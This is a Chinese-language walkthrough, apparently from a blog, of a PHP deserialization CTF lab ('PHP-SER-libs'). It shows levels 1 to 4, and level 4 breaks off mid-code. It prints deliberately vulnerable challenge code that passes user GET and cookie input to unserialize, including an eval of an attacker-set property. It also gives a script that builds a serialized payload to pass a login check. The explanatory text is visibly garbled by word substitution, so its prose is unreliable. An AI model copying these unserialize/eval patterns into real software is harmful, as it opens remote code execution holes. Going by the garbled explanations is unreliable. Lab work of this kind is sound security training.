PHP-SER-libs靶场通关(1-9)

一.第一关（底子序列化）

1. <?php
2. highlight_file(__FILE__);
3. class a{
4.     var $act;
5.     function action(){
6.         eval($this->act);
7.     }
8. }
9. $a=unserialize($_GET['flag']);
10. $a->action();
11. ?>

复制代码

一个很底子的反序列过程
对输入的flag举行反序列化，再调用action的方法
然后表明eval恣意实验
二.第二关（__construct把戏方法）

1. <?php
2. highlight_file(__FILE__);
3. include("flag.php");
4. class mylogin{
5.     var $user;
6.     var $pass;
7.     function __construct($user,$pass){
8.         $this->user=$user;
9.         $this->pass=$pass;
10.     }
11.     function login(){
12.         if ($this->user=="daydream" and $this->pass=="ok"){
13.             return 1;
14.         }
15.     }
16. }
17. $a=unserialize($_GET['param']);
18. if($a->login())
19. {
20.     echo $flag;
21. }
22. ?>  

复制代码

__construct ： 在创建对象时间初始化对象。
__destruct ： 当对象地点函数调用完毕后实验一样平常用于对变量赋初值大概在对象被烧毁的时间触发
写一个php步调把他序列化

1. <?php
2. class mylogin{
3.     var $user ;
4.     var $pass ;
5.     function __construct($user,$pass){
6.         $this->user=$user;
7.         $this->pass=$pass;
8.     }
9. }
11. $a = new mylogin("daydream","ok");
12. var_dump(serialize($a));
13. ?>

复制代码

三.第三关（cookie传参）

1. <?php
2. highlight_file(__FILE__);
3. include("flag.php");
4. class mylogin{
5.     var $user;
6.     var $pass;
7.     function __construct($user,$pass){
8.         $this->user=$user;
9.         $this->pass=$pass;
10.     }
11.     function login(){
12.         if ($this->user=="daydream" and $this->pass=="ok"){
13.             return 1;
14.         }
15.     }
16. }
17. $a=unserialize($_COOKIE['param']);
18. if($a->login())
19. {
20.     echo $flag;
21. }
22. ?>

复制代码

与上一关的差别在与是cookie传参，只必要抓包修改cookie即可
四.第四关（create_function）

1. <?php
2. highlight_file(__FILE__);
3. class func
4. {
5.         public $key;
6.         public function __destruct()
7.         {        
8.                 unserialize($this->key)();
9.         }
10. }
12. class GetFlag
13. {       public $code;
14.    

复制代码